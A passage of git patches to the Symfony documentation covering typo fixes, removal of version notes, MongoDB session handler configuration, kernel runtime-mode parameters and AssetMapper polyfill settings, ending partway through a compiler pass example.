Subject: [PATCH 3967/5766] [Bundles] Remove SensioFrameworkExtraBundle from
 code exemple

---
 bundles.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index 19dd8c31aa8..ed7d57aaf8c 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -26,7 +26,6 @@ file::
         Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
         Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
         Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
-        Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
         Symfony\Bundle\WebProfilerBundle\WebProfilerBundle::class => ['dev' => true, 'test' => true],
     ];

From 90b92fdaeca936146de7434d451f2bf98667a09c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 22 Oct 2023 10:27:35 +0200
Subject: [PATCH 3968/5766] reference the decorated service using the special
 .inner id

---
 cache.rst   | 6 +++---
 session.rst | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/cache.rst b/cache.rst
index b84bbb6f019..781e877d958 100644
--- a/cache.rst
+++ b/cache.rst
@@ -795,7 +795,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                     - ['%env(base64:CACHE_DECRYPTION_KEY)%']
                     # use multiple keys in order to rotate them
                     #- ['%env(base64:CACHE_DECRYPTION_KEY)%', '%env(base64:OLD_CACHE_DECRYPTION_KEY)%']
-                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+                    - '@.inner'
 
     .. code-block:: xml
 
@@ -818,7 +818,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                         <!-- use multiple keys in order to rotate them -->
                         <!-- <argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument> -->
                     </argument>
-                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
             </services>
         </container>
@@ -835,7 +835,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
             ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
             // use multiple keys in order to rotate them
             //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
-            ->addArgument(new Reference(SodiumMarshaller::class.'.inner'));
+            ->addArgument(new Reference('.inner'));
 
 .. caution::
 
diff --git a/session.rst b/session.rst
index 18b28165ca8..e614bde9bc4 100644
--- a/session.rst
+++ b/session.rst
@@ -1515,7 +1515,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                 decorates: 'session.marshaller'
                 arguments:
                     - ['%env(file:resolve:SESSION_DECRYPTION_FILE)%']
-                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+                    - '@.inner'
 
     .. code-block:: xml
 
@@ -1531,7 +1531,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                     <argument type="collection">
                         <argument>env(file:resolve:SESSION_DECRYPTION_FILE)</argument>
                     </argument>
-                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
             </services>
         </container>
@@ -1552,7 +1552,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                 ->decorate('session.marshaller')
                 ->args([
                     [env('file:resolve:SESSION_DECRYPTION_FILE')],
-                    service(SodiumMarshaller::class.'.inner'),
+                    service('.inner'),
                 ]);
         };
 

From 93a0effe629e49efce25f98f917d4119269b211f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 22 Oct 2023 11:49:53 +0200
Subject: [PATCH 3969/5766] remove Symfony 6 versionadded directives

---
 components/finder.rst          | 4 ----
 components/http_foundation.rst | 6 ------
 html_sanitizer.rst             | 5 -----
 messenger.rst                  | 8 --------
 reference/dic_tags.rst         | 6 ------
 5 files changed, 29 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 6a76c73ac08..516db7cde4e 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -337,10 +337,6 @@ using a closure, return ``false`` for the directories which you want to prune.
 Pruning directories early can improve performance significantly depending on the
 file/directory hierarchy complexity and the number of excluded directories.
 
-.. versionadded:: 6.4
-
-    The feature to prune directories was introduced in Symfony 6.4.
-
 Sorting Results
 ---------------
 
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 70060b93127..475d222dab5 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -478,12 +478,6 @@ your application to see which exceptions are thrown in listeners of the
 more about it in
 :ref:`the dedicated section about Kernel events <http-kernel-creating-listener>`.
 
-.. versionadded:: 6.4
-
-    The ``$flush`` parameter of the
-    :method:`Symfony\\Component\\HttpFoundation\\Response::send` method
-    was introduced in Symfony 6.4.
-
 Setting Cookies
 ~~~~~~~~~~~~~~~
 
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 6dd9b7771cf..6a5195880c2 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -1008,11 +1008,6 @@ increase or decrease this limit:
 It is possible to disable this length limit by setting the max input length to
 ``-1``. Beware that it may expose your application to `DoS attacks`_.
 
-.. versionadded:: 6.4
-
-    The support for disabling the length limit of the HTML sanitizer was
-    introduced in Symfony 6.4.
-
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger.rst b/messenger.rst
index 3ee8b0dc6eb..9c8e8202afa 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1768,14 +1768,6 @@ The transport has a number of options:
     You can learn more about middlewares in
     :ref:`the dedicated section <messenger_middleware>`.
 
-    .. versionadded:: 6.4
-
-        The
-        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Middleware\\AddFifoStampMiddleware`,
-        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageDeduplicationAwareInterface`
-        and :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageGroupAwareInterface`
-        were introduced in Symfony 6.4.
-
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 8ffc5eb1b18..94f18efc990 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -512,12 +512,6 @@ If you don't need to preload anything, return an empty array. If read-only
 artefacts need to be created, you can store them in a different directory
 with the ``$buildDir`` parameter of the ``warmUp()`` method.
 
-.. versionadded:: 6.4
-
-    The ``$buildDir`` parameter of the
-    :method:`Symfony\\Component\\HttpKernel\\CacheWarmer\\WarmableInterface::warmUp`
-    method was introduced in Symfony 6.4.
-
 The ``isOptional()`` method should return true if it's possible to use the
 application without calling this cache warmer. In Symfony, optional warmers
 are always executed by default (you can change this by using the

From a67b566203e138e355ae1c8442a19af955a5b353 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Mon, 23 Oct 2023 09:10:25 +0200
Subject: [PATCH 3970/5766] [Expression Language] Clarify number of backslashes
 to escape a backslash

---
 reference/formats/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index cf51ac7c7ff..6ab87e53a40 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -20,8 +20,8 @@ The component supports:
 
 .. caution::
 
-    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
-    and 8 backslashes (``\\\\\\\\``) in a regex::
+    A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string
+    and 7 backslashes (``\\\\\\\\``) in a regex::
 
         echo $expressionLanguage->evaluate('"\\\\"'); // prints \
         $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true

From c3b6b2e66a0e0342fedc15abf2331a8c733a5728 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 20 Oct 2023 15:06:31 +0200
Subject: [PATCH 3971/5766] [HttpKernel] Add parameters kernel.runtime_mode and
 kernel.runtime_mode.*, all set from env var APP_RUNTIME_MODE

---
 reference/configuration/kernel.rst | 51 ++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index c6c0669d1a4..dc46ebd8018 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -308,6 +308,56 @@ the configuration options used to run the application. This allows for example
 to run an application with the ``prod`` config (``kernel.environment``) in different
 scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``).
 
+``kernel.runtime_mode``
+-----------------------
+
+**type**: ``string`` **default**: ``%env(query_string:default:container.runtime_mode:APP_RUNTIME_MODE)%``
+
+This parameter stores a query string of the current runtime mode used by the
+application. For example, the query string looks like ``web=1&worker=0`` when
+the application is running in web mode and ``web=1&worker=1`` when running in
+a long-running web server. This parameter can be set by using the
+``APP_RUNTIME_MODE`` env var.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode`` parameter was introduced in Symfony 6.4.
+
+``kernel.runtime_mode.web``
+---------------------------
+
+**type**: ``boolean`` **default**: ``%env(bool:default::key:web:default:kernel.runtime_mode:)%``
+
+Whether the application is running in a web environment.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode.web`` parameter was introduced in Symfony 6.4.
+
+``kernel.runtime_mode.cli``
+---------------------------
+
+**type**: ``boolean`` **default**: ``%env(not:default:kernel.runtime_mode.web:)%``
+
+Whether the application is running in a CLI environment. By default,
+this value is the opposite of the ``kernel.runtime_mode.web`` parameter.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode.cli`` parameter was introduced in Symfony 6.4.
+
+``kernel.runtime_mode.worker``
+------------------------------
+
+**type**: ``boolean`` **default**: ``%env(bool:default::key:worker:default:kernel.runtime_mode:)%``
+
+Whether the application is running in a worker/long-running environment. Not all web
+servers support it, and you have to use a long-running web server like `FrankenPHP`_.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode.worker`` parameter was introduced in Symfony 6.4.
+
 ``kernel.secret``
 -----------------
 
@@ -336,3 +386,4 @@ This parameter stores the value of
 
 .. _`character encoding`: https://en.wikipedia.org/wiki/Character_encoding
 .. _`reproducible builds`: https://en.wikipedia.org/wiki/Reproducible_builds
+.. _`FrankenPHP`: https://frankenphp.dev

From f343237dc5d6df1b3d1f2520c5bfdf247ff33448 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 20:01:36 +0200
Subject: [PATCH 3972/5766] [AssetMapper] Put importmap in polyfill so it can
 be hosted locally easily

---
 frontend/asset_mapper.rst | 22 +++++++++++++++++++---
 1 file changed, 19 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 17a80af3fce..37ff51cb5d1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1031,15 +1031,31 @@ you expect are being included in the asset map.
 ``framework.asset_mapper.importmap_polyfill``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Configure the polyfill for older browsers. Default is `ES module shim`_. You can pass
-any URL to be included, or ``false`` to disable the polyfill.
+Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
+via a CDN. You can pass the key of an item in ``importmap.php`` or ``false`` to disable
+the polyfill loading.
 
 .. code-block:: yaml
 
     framework:
         asset_mapper:
             importmap_polyfill: false # disable the shim ...
-            # importmap_polyfill: 'https://...' # ... or pass some custom URL
+            # importmap_polyfill: 'my_import_map' # ... or pass an importmap name
+
+.. tip::
+
+    You can tell the AssetMapper to load the `ES module shim`_ locally by
+    using the following command, without changing your configuration:
+
+    .. code-block:: terminal
+
+        $ php bin/console importmap:require es-module-shims
+
+.. versionadded:: 6.4
+
+    Passing an importmap name in ``importmap_polyfill`` was
+    introduced in Symfony 6.4. Prior to this, you could pass ``false``
+    or a custom URL to load the polyfill.
 
 ``framework.asset_mapper.importmap_script_attributes``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 916a5c0f815e1425f0219eff73b4547b65376214 Mon Sep 17 00:00:00 2001
From: Michael Staatz <michael@staatzstreich.de>
Date: Mon, 23 Oct 2023 05:14:56 +0200
Subject: [PATCH 3973/5766] Update templating.rst

- parameter $year is typed with integer. date function returns string. Code works but casting to the right type feels better.
- added missing import to fix TypeError "Argument #1 ($request) must be of type Request"
---
 create_framework/templating.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 6fca67d84a1..f7ff66fa9f8 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -142,13 +142,14 @@ framework does not need to be modified in any way, create a new
 ``app.php`` file::
 
     // example.com/src/app.php
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
     function is_leap_year($year = null)
     {
         if (null === $year) {
-            $year = date('Y');
+            $year = (int)date('Y');
         }
 
         return 0 === $year % 400 || (0 === $year % 4 && 0 !== $year % 100);

From 1eb68cb277ef00c6551a4a6c246e4403186eb789 Mon Sep 17 00:00:00 2001
From: Amelie Le Coz <lecozamelie@hotmail.com>
Date: Mon, 23 Oct 2023 15:04:37 +0200
Subject: [PATCH 3974/5766] Update service_container.rst

Changes in response to my comment on this PR https://github.com/symfony/symfony-docs/pull/18790
---
 service_container.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index f1da9c3d203..42acabf48cf 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1420,7 +1420,7 @@ You also have a service that defines many methods and one of them is the same
     {
         // other methods...
 
-        public function format($string $message, array $parameters): string
+        public function format(string $message, array $parameters): string
         {
             // ...
         }
@@ -1438,7 +1438,7 @@ Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
     class Mailer
     {
         public function __construct(
-            #[AutowireCallable(service: MessageUtils::class, method: 'formatMessage')]
+            #[AutowireCallable(service: MessageUtils::class, method: 'format')]
             private MessageFormatterInterface $formatter
         ) {
         }
@@ -1470,7 +1470,7 @@ an adapter for a functional interface through configuration:
 
             app.message_formatter:
                 class: App\Service\MessageFormatterInterface
-                from_callable: [!service {class: 'App\Service\MessageUtils'}, 'formatMessage']
+                from_callable: [!service {class: 'App\Service\MessageUtils'}, 'format']
 
     .. code-block:: xml
 
@@ -1485,7 +1485,7 @@ an adapter for a functional interface through configuration:
                 <!-- ... -->
 
                 <service id="app.message_formatter" class="App\Service\MessageFormatterInterface">
-                    <from-callable method="formatMessage">
+                    <from-callable method="format">
                         <service class="App\Service\MessageUtils"/>
                     </from-callable>
                 </service>
@@ -1506,7 +1506,7 @@ an adapter for a functional interface through configuration:
 
             $container
                 ->set('app.message_formatter', MessageFormatterInterface::class)
-                ->fromCallable([inline_service(MessageUtils::class), 'formatMessage'])
+                ->fromCallable([inline_service(MessageUtils::class), 'format'])
                 ->alias(MessageFormatterInterface::class, 'app.message_formatter')
             ;
         };

From 915f573f5aff544163d1d5cd7569d06b4a3b490b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 23 Oct 2023 19:18:52 +0200
Subject: [PATCH 3975/5766] Use Doctor RST 1.54.0

---
 .github/workflows/ci.yaml                  | 2 +-
 components/console/helpers/progressbar.rst | 2 +-
 validation.rst                             | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index c3b8eac7b63..af2ea3a28a7 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.53.0
+                uses: docker://oskarstark/doctor-rst:1.54.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 827ce1973dd..4c5cb6da56b 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -5,7 +5,7 @@ When executing longer-running commands, it may be helpful to show progress
 information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
-    :alt: Console output showing a progress bar advance to 100%, with the esimated time left, the memory usage and a special message that changes when the bar closes completion.
+    :alt: Console output showing a progress bar advance to 100%, with the estimated time left, the memory usage and a special message that changes when the bar closes completion.
 
 .. note::
 
diff --git a/validation.rst b/validation.rst
index 8fc5d71a6f4..8a68f29391a 100644
--- a/validation.rst
+++ b/validation.rst
@@ -741,7 +741,7 @@ properties even if the child properties override those constraints**. Symfony
 will always merge the parent constraints for each property.
 
 You can't change this behavior, but you can overcome it by defining the parent
-and the child contraints in different :doc:`validation groups </validation/groups>`
+and the child constraints in different :doc:`validation groups </validation/groups>`
 and then select the appropriate group when validating each object.
 
 Debugging the Constraints

From 69abdfa05e9a84140b4166a7d3c155bf1e3a27eb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:18:30 +0200
Subject: [PATCH 3976/5766] Fix: Typos

---
 _build/maintainer_guide.rst                | 2 +-
 reference/constraints/PasswordStrength.rst | 2 +-
 security/access_control.rst                | 2 +-
 service_container/autowiring.rst           | 4 ++--
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 9758b4e7397..8f7af409999 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -1,4 +1,4 @@
-Symfony Docs Maintainer Guide
+ASymfony Docs Maintainer Guide
 =============================
 
 The `symfony/symfony-docs`_ repository stores the Symfony project documentation
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 10a19b342d6..ddc3fd18043 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -6,7 +6,7 @@ PasswordStrength
     The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
 
 Validates that the given password has reached the minimum strength required by
-the constraint. The strengh of the password is not evaluated with a set of
+the constraint. The strength of the password is not evaluated with a set of
 predefined rules (include a number, use lowercase and uppercase characters,
 etc.) but by measuring the entropy of the password based on its length and the
 number of unique characters used.
diff --git a/security/access_control.rst b/security/access_control.rst
index abba217702f..ebf2227b42c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -161,7 +161,7 @@ Take the following ``access_control`` entries as an example:
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
 
-            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') mehtod,
+            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') method,
             // instead of attributes(['_route' => 'xxx']) method
             $security->accessControl()
                 ->roles(['ROLE_ADMIN'])
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index daa1e96328b..96b78ab39e2 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -658,10 +658,10 @@ Generate Closures With Autowiring
 ---------------------------------
 
 A **service closure** is an anonymous function that returns a service. This type
-of instanciation is handy when you are dealing with lazy-loading.  It is also
+of instantiation is handy when you are dealing with lazy-loading.  It is also
 useful for non-shared service dependencies.
 
-Automatically creating a closure encapsulating the service instanciation can be
+Automatically creating a closure encapsulating the service instantiation can be
 done with the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
 attribute::

From 178f167f3401d817c8ba8646577a0ae884713b4f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:21:39 +0200
Subject: [PATCH 3977/5766] -

---
 _build/maintainer_guide.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 8f7af409999..9758b4e7397 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -1,4 +1,4 @@
-ASymfony Docs Maintainer Guide
+Symfony Docs Maintainer Guide
 =============================
 
 The `symfony/symfony-docs`_ repository stores the Symfony project documentation

From 85b931d446fe627a621a9fa3d4c53c64477750e4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Sat, 21 Oct 2023 02:57:18 +0200
Subject: [PATCH 3978/5766] Fix documentation for MongoDB Session Handler

---
 session.rst | 37 +++++++++++++++++++++++++++----------
 1 file changed, 27 insertions(+), 10 deletions(-)

diff --git a/session.rst b/session.rst
index 18b28165ca8..d3fbdc6cd89 100644
--- a/session.rst
+++ b/session.rst
@@ -994,7 +994,14 @@ working MongoDB connection in your Symfony application as explained in the
 `DoctrineMongoDBBundle configuration`_ article.
 
 Then, register a new handler service for ``MongoDbSessionHandler`` and pass it
-the MongoDB connection as argument:
+the MongoDB connection as argument, and the required parameters:
+
+``database``:
+    The name of the database
+
+``collection``:
+    The name of the collection
+
 
 .. configuration-block::
 
@@ -1007,6 +1014,7 @@ the MongoDB connection as argument:
             Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
                 arguments:
                     - '@doctrine_mongodb.odm.default_connection'
+                    - { database: '%env(MONGODB_DB)%', collection: 'sessions' }
 
     .. code-block:: xml
 
@@ -1022,6 +1030,10 @@ the MongoDB connection as argument:
             <services>
                 <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                    <argument type="collection">
+                        <argument key="database">%env('MONGODB_DB')%</argument>
+                        <argument key="collection">sessions</argument>
+                    </argument>
                 </service>
             </services>
         </container>
@@ -1039,6 +1051,7 @@ the MongoDB connection as argument:
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
+                    ['database' => '%env('MONGODB_DB')%', 'collection' => 'sessions']
                 ])
             ;
         };
@@ -1088,13 +1101,6 @@ configuration option to tell Symfony to use this service as the session handler:
             ;
         };
 
-.. note::
-
-    MongoDB ODM 1.x only works with the legacy driver, which is no longer
-    supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter``
-    package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to
-    MongoDB ODM 2.0.
-
 That's all! Symfony will now use your MongoDB server to read and write the
 session data. You do not need to do anything to initialize your session
 collection. However, you may want to add an index to improve garbage collection
@@ -1123,7 +1129,11 @@ configure these values with the second argument passed to the
             Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
                 arguments:
                     - '@doctrine_mongodb.odm.default_connection'
-                    - { id_field: '_guid', 'expiry_field': 'eol' }
+                    -
+                        database: '%env(MONGODB_DB)%'
+                        collection: 'sessions'
+                        id_field: '_guid'
+                        expiry_field: 'eol'
 
     .. code-block:: xml
 
@@ -1138,6 +1148,8 @@ configure these values with the second argument passed to the
                 <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
                     <argument type="collection">
+                        <argument key="database">%env('MONGODB_DB')%</argument>
+                        <argument key="collection">sessions</argument>
                         <argument key="id_field">_guid</argument>
                         <argument key="expiry_field">eol</argument>
                     </argument>
@@ -1158,7 +1170,12 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
+                    [
+                        'database' => '%env('MONGODB_DB')%',
+                        'collection' => 'sessions'
+                        'id_field' => '_guid',
+                        'expiry_field' => 'eol',
+                    ],
                 ])
             ;
         };

From e0b4107083317145888567fa26d9c3530af7b24f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:26:42 +0200
Subject: [PATCH 3979/5766] -

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 5ab383b3083..6d685244a75 100644
--- a/session.rst
+++ b/session.rst
@@ -1051,7 +1051,7 @@ the MongoDB connection as argument, and the required parameters:
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['database' => '%env('MONGODB_DB')%', 'collection' => 'sessions']
+                    ['database' => '%env("MONGODB_DB")%', 'collection' => 'sessions']
                 ])
             ;
         };

From bba62162998fb7ef03a37e22b47f2f229fe880ff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:31:55 +0200
Subject: [PATCH 3980/5766] Remove obsolete versionadded directives

---
 frontend/asset_mapper.rst          |  6 ------
 reference/configuration/kernel.rst | 16 ----------------
 2 files changed, 22 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 140c4d22c88..150c57ff05f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -961,12 +961,6 @@ the polyfill loading.
 
         $ php bin/console importmap:require es-module-shims
 
-.. versionadded:: 6.4
-
-    Passing an importmap name in ``importmap_polyfill`` was
-    introduced in Symfony 6.4. Prior to this, you could pass ``false``
-    or a custom URL to load the polyfill.
-
 ``framework.asset_mapper.importmap_script_attributes``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index cbfb48f1316..813cd41223c 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -314,10 +314,6 @@ the application is running in web mode and ``web=1&worker=1`` when running in
 a long-running web server. This parameter can be set by using the
 ``APP_RUNTIME_MODE`` env var.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode`` parameter was introduced in Symfony 6.4.
-
 ``kernel.runtime_mode.web``
 ---------------------------
 
@@ -325,10 +321,6 @@ a long-running web server. This parameter can be set by using the
 
 Whether the application is running in a web environment.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode.web`` parameter was introduced in Symfony 6.4.
-
 ``kernel.runtime_mode.cli``
 ---------------------------
 
@@ -337,10 +329,6 @@ Whether the application is running in a web environment.
 Whether the application is running in a CLI environment. By default,
 this value is the opposite of the ``kernel.runtime_mode.web`` parameter.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode.cli`` parameter was introduced in Symfony 6.4.
-
 ``kernel.runtime_mode.worker``
 ------------------------------
 
@@ -349,10 +337,6 @@ this value is the opposite of the ``kernel.runtime_mode.web`` parameter.
 Whether the application is running in a worker/long-running environment. Not all web
 servers support it, and you have to use a long-running web server like `FrankenPHP`_.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode.worker`` parameter was introduced in Symfony 6.4.
-
 ``kernel.secret``
 -----------------
 

From 24f21cfcb0a828fe5470dbdd9344b5d8793f52aa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 11:34:59 +0200
Subject: [PATCH 3981/5766] -

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index a95975aadd5..e9f5853cb51 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -490,7 +490,7 @@ with the ``property_info`` service in the Symfony Framework::
 
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
-Component (notably the ``@Ignore`` annotation is taken into account).
+Component (notably the ``#[Ignore]`` attribute is taken into account).
 
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~

From d348603b7e6e3572408c1fec99571feb1bb3ee23 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 24 Oct 2023 11:38:59 +0200
Subject: [PATCH 3982/5766] simplify compiler pass example

---
 testing.rst | 25 ++++++++++---------------
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/testing.rst b/testing.rst
index f3041fcaac9..ebd29518071 100644
--- a/testing.rst
+++ b/testing.rst
@@ -639,32 +639,27 @@ to remove the ``kernel.reset`` tag from some services in your test environment::
     // src/Kernel.php
     namespace App;
 
-    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel
+    class Kernel extends BaseKernel implements CompilerPassInterface
     {
         use MicroKernelTrait;
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function process(ContainerBuilder $container): void
         {
             if ('test' === $this->environment) {
-                $container->addCompilerPass(new class() implements CompilerPassInterface {
-                    public function process(ContainerBuilder $container): void
-                    {
-                        // prevents the security token to be cleared
